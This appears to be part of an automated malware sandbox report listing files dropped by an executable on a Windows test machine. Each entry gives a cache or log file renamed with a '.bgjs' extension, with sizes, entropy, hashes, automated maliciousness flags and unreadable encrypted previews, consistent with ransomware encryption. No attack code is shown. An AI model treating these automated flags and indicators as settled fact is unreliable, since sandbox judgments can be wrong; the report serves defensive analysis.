SHA-512:	DFCEA56A425032BDE923747FDDDF68FB4643DF1C93D91848F701D04BAFE3FB2E20551EC7D7235BC3AECD58573C8C11BAAD6D925E6782D2A50B1843F1819BC8F6
Malicious:	false
Preview:	....Bq.6.Gd...G./.X.......U...%...^G.,.<... X.....x..8........V1.....Sl..)~...........{.,$4/.Q8.3..d....!jA...K.5..=.mp:sm.....D..d.......p....s..%Y.lR....D3i#l...[.^.C%.l.C.%.....f.....K=.o....])..8m......7.....y.Xt-.s...s..iE......y...K.K..Y9#.Lv.:.....>=U.r.M..)g.:2VD.."..............h.H......m.P\|....k9..Ln}4.{.9..L...........O....bW.uR. ....9x.P.....y.H....,u...s....._D..J...n....s.\|...yC?...v....y......@VV.'..l.8.`.*e....@ct....6X.k.0._UV.G).....R...!b..J....9&b..K.#j,j2Z....jE...:..{..x.Z.V..9..:S~........s%..o..d&nx.r..3,Qdmw=...o.2D.<..h3...Fbk....d..}.EpS...t...lWV\|a...?......\......F......,.z0....HU.......z7.N...L.....7.\!.:\|$..{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331687968135361
Encrypted:	false
SSDEEP:	6144:VJPkTAzfWPaPWlqt+PBASrYDFttm+vyJfbnQkK96B88yKv4bWTmTvEiLSB:VxhWPRqt+JTsVm+6dF4/a
MD5:	FE396F6A39435FBD8C45DF3814851A81
SHA1:	9D3B8FEEE16043179F79150CC8DB37462E815D6B
SHA-256:	FA9D68B37FFC3DEFB04C5D413497CB582BBADF9F6A2E023B3C60C5C47EA10034
SHA-512:	6D1A7EACD229B24C310EFA33A48F74D1F350E97E85CC48C7B39A4D882EC97AA58D207F282E6908B58D5CCC4ED17137A67925766BCCFB19148DE0D78A407F6B5D
Malicious:	false
Preview:	...P.e{2~..!..Y,.]e27(Rtc..c..8...<..D..V...<..5...r.....&.X.\|s%6.Q..lH9P..e........#H1.[....toL3.K.....nU...e.%.U.{..C.:v..f@.....;.h..7..\eK...Y........%..2.t....Q..#.Xc...j.Z,3....4Z......B.Lu.iK.$5F.+...xw-..y.ji.n..!7.M.'.#\|.....h..........p}...D..Z..l)P41.?.(.......8g.....Q>w..[.I.Vb..]$+j.....`....y........P)u.....,.....yt..n3#2..b.(..:F.o<8..q)....x.<PKZ..cn........M....Y?s.J.bUh3...N..}h="..:......t...X...t.\q......\..N...4.T/0....Q...5....o.`.}1..p.%......;..._..l...^e.9...0u@..4...8.wR.v.5x..`.+.."..`...p..........<.P..n%..{..p\|..@P..8+.<9.H.L...W...lO../.~j...lM.?S0&n....Cy.\<.o..#j..s....}.Z...\.P.:.....r......@GWl.,..]W..]...5V.}.%n>.uP..`.&/...1w.+.[..e[...q,.....U&...,Ie!.+...C..:..\..q.S{.T...y...(.K'....A6..H.%.z..1..,qj...?.\|....oK..C8^..Y.a...8O.....{.`...ty.).mA.,W.8.-.m.....6.K..%5.bnB..VAa.N.w.9..=S..,....+du..lf...K..8k....T.6.......Di..`c8i:B.....b...k..-.K..........\...?..._..e.q.ZF.......Ck.#Ybc...onf.JuG.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988491854153063
Encrypted:	false
SSDEEP:	384:lh1AMDZAlYikkU5B6hHwncnS2xgJ1p1s0+zH/1rCYwVtq1C/A3PVzRSINVnr:lwMDZ4YiQB4QcnSUU1YHzfBCYwVtqKAz
MD5:	A053AAD8BA73CB000DA9E242B0DBC3A6
SHA1:	5E69B13646335C8938F2EF4F72FB43C264305370
SHA-256:	F8AE4E7D73E38A9C14DBAB5204EF0D16F750982F85D761E3602523880DD50A5A
SHA-512:	A0D722A8B662F66D39C76866FB6D67E802CC71A5D17DE7A513F2F211AEDEE316E37D331819F3A20821D32DD851480C1BDCD0C16E4F4EE14B7EB9F7F9201FC41D
Malicious:	false
Preview:	.... .4....._.5...a.%....cQ...O...]....e..L...Z...^A$.A..C?tmL.N.}}.70.].p..".`.../p.....7.EA.[...M.N+...\.....))........i.=...t.<..F......\|.....iK.z:....%poh...]........X.8...I.%8....l.fY5bS..q~..L..v...i9..f>@G........5.o;.\..W.sD.....C".j....."LV..._k.8..\|...B.Um....nh].".....%N.X<.z.@. .B.......4.s.b...]....4U....W..D.....Ty..L.!..^...=....Y+...K..a.o....F."0#......H..~.Y.A.:......4q.de+...i...-A..^....".gl...\..._.....Z.[..ae...........s......F0X.^3.n...n.Yx.+..i$>Y`...}3..\|\\.2....P.?-D.."6 .o.....0v....-a~+..I.h..@....;KT.F}^..h....z....?.....<.....H.G...o..T.....7..'V.D...0..4..(.3.B..>.k/...S.H!...,....4....$.E.I......d..._.\|..2>r".3.{..-.a#.zRL.....o...tg.B....$......T...`...J.k.P[D..5]Pi....J.L........."./Qb.v.7...g..~.....q....L`.B...4l>9.\F.......P..'.,....J6.I..HS....2...*....!e./......U42w(.O.J.CG5.j^(M,.}..i[..6.&a:.e..4C.X8.qL...Ej..=.....y......;...K-lF..ET.`.T...0..~.&.B9...o./I...j../..y..O\..v]....@....

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9865763963822625
Encrypted:	false
SSDEEP:	384:zFE1Zuu5GiiG30K0LMDKscx3DSM9uGqqZNoHeMWcN:zwQfWxBDKsgD0vhHeMnN
MD5:	9BEEB08FF1C400E2AB9BFB2947777D53
SHA1:	F79EFDE94BA93B111042C3C67CC0BCAB89889ABE
SHA-256:	CDB50E087B0463AA9B160DEC88409DFB5BB36FBB36F7EC4362B465DC78B94EF2
SHA-512:	9EFE8B8A9E94E224359E0FA88E89B24BFB2430CC0E8EFC696DAAD5C5BDB380E503292C83A65E53D8E5C6E060319623E07C9CAEA0402C57728B4452C95773B830
Malicious:	false
Preview:	....`.b.%...AUQ;...y.a..&.g./...G..x...q.U<..d.b.....f.. .u.Sgq..S..\|3...Ilz'.DL.Q(6...[.u{.U.t..j...9.....I...FV...!..a..kg..$....."...J.v1....h.q..gH9Y.P~v. zl.>..y...@.).Dr77.h}...in...}0.6....nr.(..\|{.:.x..v.......6....y.[....o..........{].Q..y4f...][w...I54\|cY.............}.[3..3X[wH}s.m..{@...mxg.)..u...l..^l...vI.d&......q....g..0...=,ajDa...\$....7...D;+.C..k.(...U.....Y..mI.~.r.. ...lL.E..1..J..A...D.......(.+e.]..z.....,U.....E.3ec..#..\|.0.# w.$H.!ijE@3...(J9....C,3.E..!2pe?...m.....dr%.>..x qm..`...:....RZ.....4"p.d:~..\|..W_......m,5..B.y..on.tPZ...._............%~.?....W_.....I...!F...[Kr.>Hn...mA.k....>..{.....;...]....~..yx....k...\...>......"o..).PH..8.....%.N#Z...Pd.k.\Qe/......<~..>%..=.c\xW./%..a~....T.B..Z."1C.^(.k.=..l%...e.\.L.%...=...k.~.H....S.5[.#.=..G..V....`%.D.&N7....P...X..N..n\.@.....!...;`..0...*...)N.jW..L..3...SiXK..K<n....!..7.S}....>u.....V8X...2...b..1...o.b.Gc..D0.7........G...#.y..o.".ShmF..=Z.BfM&.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.3334863114399
Encrypted:	false
SSDEEP:	6144:BETtfD9yMmwpgz+y0Z8EmlaGPcm+vyJfbnQkK96B88yKv4bWTmTvEiLSs:MFp3mzuqNgGPcm+6dF4/v
MD5:	694E7314683319074D9F1CDED0C92105
SHA1:	5D966672C436431050494BCB26E30596ACE0F2D5
SHA-256:	A3E06E08937638816DC755BEF8A4D814860A7E5627EC73BDAF3F57AA7D8EAE79
SHA-512:	A552A3447101CB233113294FBFC764A12460B1C73AC326C9C04B00D323DCC21EAF34BAFA23729135F3E0AF46A4A4AAE6CBF32E4BF7ECE93E5BABA3D19C92F63C
Malicious:	false
Preview:	.w.. ...0...(.Jo.m.\|..[Y.o.i.C.....MK..z...>....R.r.K..yD..QC..)..r....y".=y...F.;/zK>....[."..C..:.Z6FDkOMe..2.=...TR...G........0: =.. .y.....C...K.}Q....4k..7A.%..o..`[.%.G..4,H{.......FB.s..<j.lC}u....Nk>....fl1:.........A...%......W4.41.P?......J....G...}.n8......[q..~..t...^.H... d.v.....Qt......k...R.A..w.=.....Z......z..j.(f~...3}^d.6.L.kz...b.uPn .u:..oi.c...`7..N.%......./.'}5h".....'...pS.@.17..F}......lf.0.D....]....oz.......f.=.....x...2...@.l.g..........-......=....M2..Dux\|.X$..{.W../...7.)....ls0\|.5x/.+Rf....J..}n._..8..\k..3...-K!)"z..m...OG...yMq..BJ..y....w~.).0=p.._lb].T......5.....J.S."..8.6..Z"."..C.~9..,B.X..;.\....{....".._...D...7.b........Q...f.j.%..l&Y.=y..s.l..._q.)k....%...s..)..B.zz.e..U.)/...zps>..V.^..u..G){...0..p.P.\R.#=},w'Mm......u..{.r.....h:).X...FcTd7..8.*....8w..M....\..e#Y.$..PT.bF.<.k.1k......x..n.u..i.b.....J.`.biS^....U...j...1...!.l.yOy..V.......%._..5....a ktX...i6.....C............U....u8~}A.....

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.9982602434596295
Encrypted:	true
SSDEEP:	3072:DB6QPSU2SSLbF3wI9c++kNcywLW2YuZPUoyx:EeR2RbFAI9cORcYQUH
MD5:	F783BBE2F78FE1E2BB943E4487428B8F
SHA1:	59A0B034FCB49CE6C24A0DA829805281EFFCC530
SHA-256:	B0EB514D5FFAB91F2DB3CC31C01E6D5E0DBDF144B0E260DAB208F1AD8ADE06E9
SHA-512:	9ABA00D638BE2615F00408A2478318A9A6470ECD9E527084E91BEB45416D59CBEC83D3B71CC3386F71D637B21AECA924BE481DEE5411EE69F76508137FCC6E2E
Malicious:	true
Preview:	....h.>^F..2....>\_.....')?.....?...U...;.M..".-..W.G..o.9.X.4..@.X.q...^..K....'K..Q.3.7.HI1P...m.N..x;o...A02...\|...i..<n.S..j./v....r.{...x9'.A.0T..o.Q ,...~...!.T..`..2qM.S{.$+.....Q...?.4M....3r..V...cla..........hf....F.3.......R....b.!.....W......0.,.X.{r.8-..@&.....&^.2..x.....g..D...]....0w.....1.l.{..E....$.:.Nx...T...SZu.M.53.r............g.5A..`.c.Zf.%l~..iO7q....l..n.D..Mh.i4....^....q...X....`........9._;...HC@..c..I.U/.)..0;......p...rw.+....l..,.a,..?/.+@ hQn.7K.z.t..L....".G1...O.o~Q......Uc.J.A.......:.............3.w......c;..l`M.\|.V.;........y...."@.].$..$..<w..d.......,.J.1yW.N.Oi..2..].y..6.. X.a..o.}.%.@n+`?W.a.PB..R.7...'..N<........?.'q.9B\.R..0....Y.-#S. \|&.......!..\|.y...d.H...G..........I&.y.....D.?8W.3.......az......l.HAC.`..3...(..i..y./n...H..=.X..]z.k.......r..5.\|..~..mC...M./...t.n3..7_...Q.1,vf#YSa.=.].T./..,P.y.].3..k.J.H0..<..Se.b2.P"j.\|.n.N.V..0..M..\|L.......;....J.....j-b...(...?........8...N&...]

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.998026762925561
Encrypted:	true
SSDEEP:	3072:cUBqsVlkVmujnAeC2LfUtbliiT3djpYQR/NMYBWZW:cUBZjkZnIOUtbliKdN3MpZW
MD5:	39FDD09EF6F8B7991DF4EA7242F796C6
SHA1:	04D5EAB913652724EF43E59268FF09C1570FFF5E
SHA-256:	C6BE3FE7948F07A0B933DEAEDD4F78E82197E1A835BEEAE7FD023E38B13795FA
SHA-512:	713BA74800BD8B7AC0978F98F4FD11AE78FE11C72154F2F812D4CD5B0705B73D449CF389F0E363DE4E1CA1EE7DA8BEFA3F1A679214877FE60ED889D12526C81D
Malicious:	true
Preview:	....he.8N..TO..!....H.......5....<..'. iW......r.('...%.z.....m...)q.-.i#.X.q..t..W........i6?..P...3...1.:s.5<..D./....@.;...).Y..$.2j...lo,.i..5.M[.1e.^M`...To@...S.k.na......\..).-l...P.M\..n.{.M.V[`..v....7.b.....@.QO}.,)0.`g.......g.....9.tA._:=.....'.Zo.S-.[\|1.4...i.D{..ZI&..r...I...i...."x.....OW...$+j.XV.-.(\|i.tD...T!I.9.h....-....\|..QZj.2fk.......10...G...Y...Q.y...x:..^P......E..J...:.......80..,.<....>.#)p$.{=y;"!..O..7.s...t.. .....OTn5.s....-Y...Y.w.B.......&...\|7i)2......._1...W...y.Z......W...p1...Q..G4&.......FpW.:....].2a.?.Ae......P.F.J.....N.D......w......P1..:.C.f...Gwx....=/b.F....bV.(....A......l."......,.:6.....Q...>..7....Fp.pY.l..c.i.%..1..O....'..2I":M53.....5.(=..*...&.......l....+>....m."..B.f.iHJn.>......-.......C..@...%._)HH...~.P._v,..2...R.75...1..~r.fdQk.%...?.....w...Z1V.....O.)...v.. b..r{........h#o-]..`..;...c..F.!..r\X~..2...'A....F.......1?+J[`.;.....D.A.,...p..P...].R....r..<.M l.z#.H..j..1.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.997179806274926
Encrypted:	true
SSDEEP:	1536:NsMLb0D2RstPhlUq0Ylg9kag/mloooPVlu6JMivjj1Qh0X4B:Xstn7cgeo9InWj10N
MD5:	730F1679B25145FB0B79FC44DA022B5F
SHA1:	A4686835D590B57E346DAB26F920D877DAC0C826
SHA-256:	F78E518E4954A59ADA4D4E5FC1E422DD78D1696945A482414E053EB3B27CE1D4
SHA-512:	DA51AD8073DB6899EEB9A9A32D1CB866DD65C0299C65BD28322EC39704FF71186C7C50179CAA2D0FD8E2050FF6FD2130D2FB75C306F458D5D1465A8282291BC0
Malicious:	true
Preview:	......j.B...{.g(~H\3.c..#.QAT....Q....U.(..P.5&...1....$.6.vUK.....k.^t.5h.b..H...l........`.....<.R\....v.Q........N;..........,...%J.]..\|....oax"q.....^....,eD_"......Y....o..L..s_q>..7.........!..V.I.`7...D\.Q\.\J..?TN.S.u.!...<....R...7..i.M..8Qo..i....]q...q[<]>.Zpe.T.....89...b..s_...}.c..I+{.HT..b.E-.......7..I....c.)h..8.{....K-..t%..8...I....}.g.....~...&HC$....qD.<.MP.9..(...#.:..lD.?.2.-.(u.k..)...x6.Hx8;....T..K .5.........&....m...v..`...Mm..v}a.8...8"..6bd._(.<.\|b....o.O..3-..o.S.}p.......ctm$....8...nq.5..Z."..\|....M.?.....Ox...)..p\...G.+Qm......P....r....v...k>...//...4.....L.@......P...J.&..Z..>.Xm.dg.q........,.a....\|.C..k.6Q....zM...\...a9;.3.0.l.u..I.\o.H".s..\.......F...H!.... K.T7.H.C.5_..^...2.f36.e....3N.T.}eAkB..)TTi...u.3......Y..\}c .......?.9..B.......Cx.C..m..J.....y./.....x...........hp...kPb\...f......0..a.C.N.R1}...H........S.9...M.....3.0..=.t[\.H.`.,..........#.s.=.-...F......"R:h.vy.[\.*......l..F..d....E."

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.9975697008688105
Encrypted:	true
SSDEEP:	1536:qSM0V5RwuY3RtXFU9SQa4UdxFddCQueGvOJDcGF697kdKO6GE:tPRbYBtXgFUbFme5JDcw6NkdKqE
MD5:	66E4BCFC06679936DEBC6B46EEA50B9D
SHA1:	EF064FD82044E280314B2CE18008963FF8580FEE
SHA-256:	4DF6F0BD1BB4D87BD8552FCDF8E751626B11E50F688E6A532FFDEB7A7DC888C6
SHA-512:	77D58087E8AA159FFE5E6A3F3E2391DDE88599A321A82A50A900D284B0E488E00B5F2BFEA773A9CFC2F14E06FA82C54E1E451A06B5A84067D5909616DB76447E
Malicious:	true
Preview:	......H...U.....f..>`h~..9.x.B...$g.5.....Y..2.y.....z.8MPD.O..je\q.~.x.Ut........?..'r..0%.r.......`..F.m.lT.{..M.Ct.(......6V.g......N[....<U..q.......c..ey.....X.].t........Us ..7.M..?$.pXk...b.7.P......u...A.."..h8.....;....4.@/.Lr../. .=i~.l,.s<y......?M..i?J...#....c."....l..\|0%O...$..6...sj..D....[.d....c.....X..z[....!..8..{.+..".O...w.j.s.T......:R{.Sh[...O."..@.;.e.E.i%B.q.e<].W...G._..EN_8^.t_..G..!.xl. ..iN..+n....."...&=.y......#j..).yu..d6J^....qf1.B=.(p...,r^..l..G..G..,..#.}.......P.....8F..J.p....I\|-bp.....o..aE.......{.......Lr.~..@.y_z..X>.....O......#.?.`y.&....Jge.svUO.=.[.qB....6...<+...1..&.v.....g.e..0._A..c.....V..B..C.......+B.....G'...#......w.=E...F^B.-..R.}...O.......{...?.....G..q@.....L...3..b.....7..;....G..+.&..)x.!.EX.O3.u...S.-......bU.#....3..il..H..%.r-.B.YxgT...wk.D.....+..^...u.^./s~N.^....,..p.J..P.c.@2.........?....)- y.... ..G2G.......1bi.......c..Oc....$.{R..'_(M.....[+x.d.....j....0R....qG...tBD..8.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.819416074508375
Encrypted:	false
SSDEEP:	3072:VBV1SvH0wrf08MF+mmkFIt0J17Grm8Y1AjCSIhF0O/949ZoJLy7Q2vHGr6dmrncx:V2HM8jI91zCjZCmH9QYG6Wcx
MD5:	9E48B71472696956E9375772DECC23B0
SHA1:	982D9F09B7103EC0E92928E945457CCDF4329CFB
SHA-256:	F751E0EA0ABF23A7EFFC8FF977B3824D955D9E0080CAC384AB609078CA3690D3
SHA-512:	CBA01D87ABA1E91063E192D8BF77F5BDE93432EEEAD6C270CA194C2C950700EC0DF3F0F058E3DFFEF3255AA0457D24D17443C08138ED85053D2B04EBF7278DDF
Malicious:	false
Preview:	. .....:..p..~..we\|....0..+j.[.1Zl4..WL.....e<.....v..4G1.!7.E6..cd^Zw..g.wu..}..2...`.._hz..)..wd...>X.R...6.rm...$\|..!.Dw..%(=.........W[B......__."(%..#S....M.o\|.../Sp2.Y..GW=.\|...A........H&.ld...8j.o.Y.g.N.;v.D..x$.T],.......({..9[.....WK.....(.9).........s.....Kxmn...$..3.v..L..E.....xa;L....=...\|.4.3..{.`S......wcK.)g.(;..+.c.....qxj..m.`.........,.6.....%f...8HU......#.)na}Qd6rw..6./R.t5_..2.....!7..V.-....e....:G).1x..........c..)..........x.y>.I......P?}..d.m...P$..b....:....s.c.....qeB. .#..\.......pX....4...H...sU~.X.....u%.l......3=.4"..$V{..........6..K)4......cx..C$1.G....F....D..I.q3..]...^..W....~...Q..Or..._.U)j-...^.`b..._.~A...o.7W&.If/;...'...^W.T#...W.JR+:.X...9..S.../.F.!.H.Py.8S.y..toc..X..o.....o]C.9I.7.c.C@..b...<..b.1.Z.9.u.E+>...9...r.....r*.}.]..?vV.\...Z.t....b8..r.....(.u.}......y.T.n'?..,Z.f..-j'T..H...{dQ.<..D.~f%...].b.d.Y.t1A..(./...h.t.....;M.6J....C....[fQ.oj..e..c......T...u.Mw.K.%jlC../Y.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991895378572454
Encrypted:	true
SSDEEP:	384:bAjVnZX3n37lOs67MLqNc7WzayhMOHA/tpjF+Y+1TkSmsTPELHzbmSuw3yAZHx2U:b6VnZX3rlQ2Tc1hmoY+BTtTPErkdWsU
MD5:	85E5E24B161537C869112602906CEC60
SHA1:	44FD91D899D06B9BA4E74BEAA538B8D047C35822
SHA-256:	2951BE2038319EAEAC74BDA2C95A574AFAB0756A83F5CF775E5B2918F78B0880
SHA-512:	63DC24911F9B9C778F25EAA6DF1B1040621DE674F90A604AB9C3D4D7D6E06BDB09E7F39BE53BC17D6A0484DF28C2F0370A18C3BC6B98A8C0351D35CC02DE824C
Malicious:	true
Preview:	. ...o{....o....x.{.P..E^.N!.-........+..@......&..w..{..f$..{.3..w...].....n..P.A.o.....x.^g.c.l...;.\...Z...N...-N.f.NQ-.Y.c.........P.{.J.j>3.B..{....Y...o.:....{..A+........w1..Z.t.!en:D.~.i...{px.a.?...L..z..pD......y..h.=.w...HS.u.3@47?.R.._.O.ij...X...?.Z.I..:}\|..2".>S.."........V1....4.N..v..G.g2.aK.:.....n..q]O.?1...T..=&...C.,$.......Nl...$17.@.....T...@..[..aI..R....-..#.V...slc.H...b..uO......q4n...&A.v}HN..+..].A.h...l.%0...\.'-..Q.x.\#.....Cz2.....M,..I....6APS......:...;....;....++...omN^.7.....X.K....I~.:.+d@<^.....[+.P...o....wW....`@.K.C.....k.!n..X....47d>6O..................Y.b.q.U.Z\|6....;~.L...H.I".....dv...E....>6....M.38....&^A.2.!.ts...._Hu..:zmA4...Jh.L2.....h.u...nqX.IpM..).z*.as\R..../....3.@q......z$....Uz....S..7.}>y,.)`....'...o%.0...G..W...p.P.\...r..P.K..:...p.VZ_u/..3.J..K.. e.r.#.I........&.......61X<9j7... 8.Y.>.?.7..D...k....k.. .Nmi.).s.r..j..)!"R.mMzc.5....Z?...Ol..n..TO.`..:.c....._..../n

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.308762716124238
Encrypted:	false
SSDEEP:	6:aKbwoHwcuOiYEPs4+2bFltCMUFqiMYzt8Q8y3Wzbb9f38+3rzWyc3cii96Z:aKbwoQYiBPd+oFbC9xFzt8lDzbb9f33G
MD5:	01334607AB1ED9856A436132F1327742
SHA1:	6516FFE765156AC9DE0D726876742056E45B26D6
SHA-256:	FD8BF7E51726B2C1D0DF6C2958BC809EDC4110C48B3BF8E27A14ED44C455BB48
SHA-512:	58236B490286C2AE0C0511497970EFDB849BB549C5BFF2C63CBEA280E8D0602395016227523A72F2BB31E19952E766EEB4E76CEFCC450D59110E43B59F877BD3
Malicious:	false
Preview:	CMMM ..s[.S..H.R,...1..J.Um.H.'w....g..&.T.f...hB...k.5....DBP.DA>Y...$h..#..G._g.e.D.)..H./.=.7E..m.T....[......,v.rm..--....8.Q.>M.Oe...6...)^... ...m,...9E.!q'T.,...,>.....+K..9\|..c....9.....j[.........I...L.....Y"..^.Gd@2..&....-Z...&....o.2....s.v1....-....=..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.302319960575477
Encrypted:	false
SSDEEP:	6:i1IHnadAoHyQY7GjKmxBgzRa8AM+9yMw2zUkw57LTCtPCfnqLlDN9bWyc3cii96Z:RadVFvjKmxWz0MAw2Ykvtaf2JN51+ciD
MD5:	9D64B77F8FC4B789D9A2A4BA02525717
SHA1:	EA0693EEEF9AF8153B3DEFFAF09AB3413B71B6E0
SHA-256:	57F76E32D445A258EA12C3F3156F564ADFF12F0D2BE303DDF158C461950AC9AF
SHA-512:	80057D45A20E49C6F950194753F52E3E6F1CCB8A621E5818A1AA77284D1176E269EB6CFB0A8A6F6CB1EDE7077F9D0982CEFC673F94F4634FBF696B787B1A56FB
Malicious:	false
Preview:	CMMM .w...?#.-."B{. .#Dt.^.8....Sy..<T....D.Y.b......-..d...j\......D..s..z...P...<&.8........Yi+.P.\|.Q......X.o....\......"./>.s..]...6.......)..o....?....Y.X.y.....0.(\Y.jb......e.u.....G+....B.nh..4.oj..z.2P.Y....\....\...$.<w..\|y...U@U..yY.6.).....(...<V..*..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287290271651261
Encrypted:	false
SSDEEP:	6:dKzpneymlnBOca0NMHBt8aJeN93gmQvV3mWG6vGnvMHIWyc3cii96Z:w2zOca0NwuaJXxV2W/cb1+cii9a
MD5:	18EAF9CDD33C1E14268E0311EEA0A4A6
SHA1:	DD7B3751567EA846AEB999683C6DB98AC0C3CBF5
SHA-256:	EF287C02620FCD05F1ECBFAEF8F88992194046EA11AE9CE8B7BA50C905142A77
SHA-512:	7A2D627F25EC2B353BE6C6F166C5124F4AE7DD7F88E7F9FCE550CD565F6243B5CFB929AB82637A21E7F7C9653430D995541C6493401DDAED44C418BC6CC7B642
Malicious:	false
Preview:	CMMM I.............f*..tZV6<z.T.K4Kq......0...0..m...7VI.S..$Tz..:z.....d......(.Z...U....N.G.g..[..i..)K]X..:..21.;.......c.-F......L..m-.g..6.......z.f...C.....3..%B/y....>.ZvED.......F.!...W.-S....._.p_.`.F]..h.p.-B..T.9.....v.~.f.r2s?.@'z......]gc.m..;.MVx...v...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2143485567393775
Encrypted:	false
SSDEEP:	6:ni9vTURBJs/fu2dUJwsx6zwE9nDp8HSxZosjsF5kIedplLmdKqbYHWyc3cii96Z:i9vWfQFdU+sIzwE9kS4sYWflLm7bM1+X
MD5:	11469ACC7C9D9E4BE5BC501009116DDD
SHA1:	B6665E160BD2A994FE7966F9758FCA0A0688E28A
SHA-256:	13BCA4D4729965A0ECD3D0584037B8D5542D140F95AB0E8D33CB44EDE016852B
SHA-512:	12C6B5D0DB19449906A86D3EEBD1A6E308CA1AED7E15C8FCAEF027406C3E9C90A677362F8EB52966120690E6A2F8D9CE120D8A224174142B1D213672A684B844
Malicious:	false
Preview:	CMMM .\|9.H.=V....~Qc.....D......]..PT.I..=../.....d... .....HeecB....x..Rn.I.....F.)p,...\jn...c.Lc}.ShL.....~.}rV+ii\|mF..D.....6.P9^.u.. .l(]..?T..... ..e..J...#.<.....Rc.,.....v)..e....tG...6...gjM2(..y..= .om....Y. Qx...}v.P.;...z.....s.R..(.L.~....^.(.."..].j...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.335812085944304
Encrypted:	false
SSDEEP:	6:a+9TvpOQ2prfceYTblthCvNShuFzDBIvNn53y4oHyzTy7ySg04BSBC7GthKgMqKy:a+wQ2px+nUlDBIt11TiyW2e/O9z1+ciD
MD5:	A348056D303D54A56642DF8C79614A65
SHA1:	8B00588CAFDAC91454CF99711DB0D208291454F2
SHA-256:	31831BF27D4ED4BAE7D34EC3B4C2AE2AC8AEC414B5700085A38C49F75CB20F1B
SHA-512:	559904F5FE4AD05C65AF193B317B93C94523AAA48B555A47093D6848D0AF61620EC84F0F44E1D4B5199EF0C17A64ABC946158E31772F331D6B3A51CDF44ECBAB
Malicious:	false
Preview:	CMMM .=.?B..6..-../...!.SIY..&C....+B.g.....{aq...>.cEV..-d.C@......5.(...+......:8V....b.Jj.'..;...9$.*W.Ux..........,.......Tb.{..z.8.W. ...........Y.h....A.1..@...ae..NI...........!~..?..\K...hE..6.../...V..{o.,o...]...};K....XX.-...i...DE..X..0y-=.....j..<....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

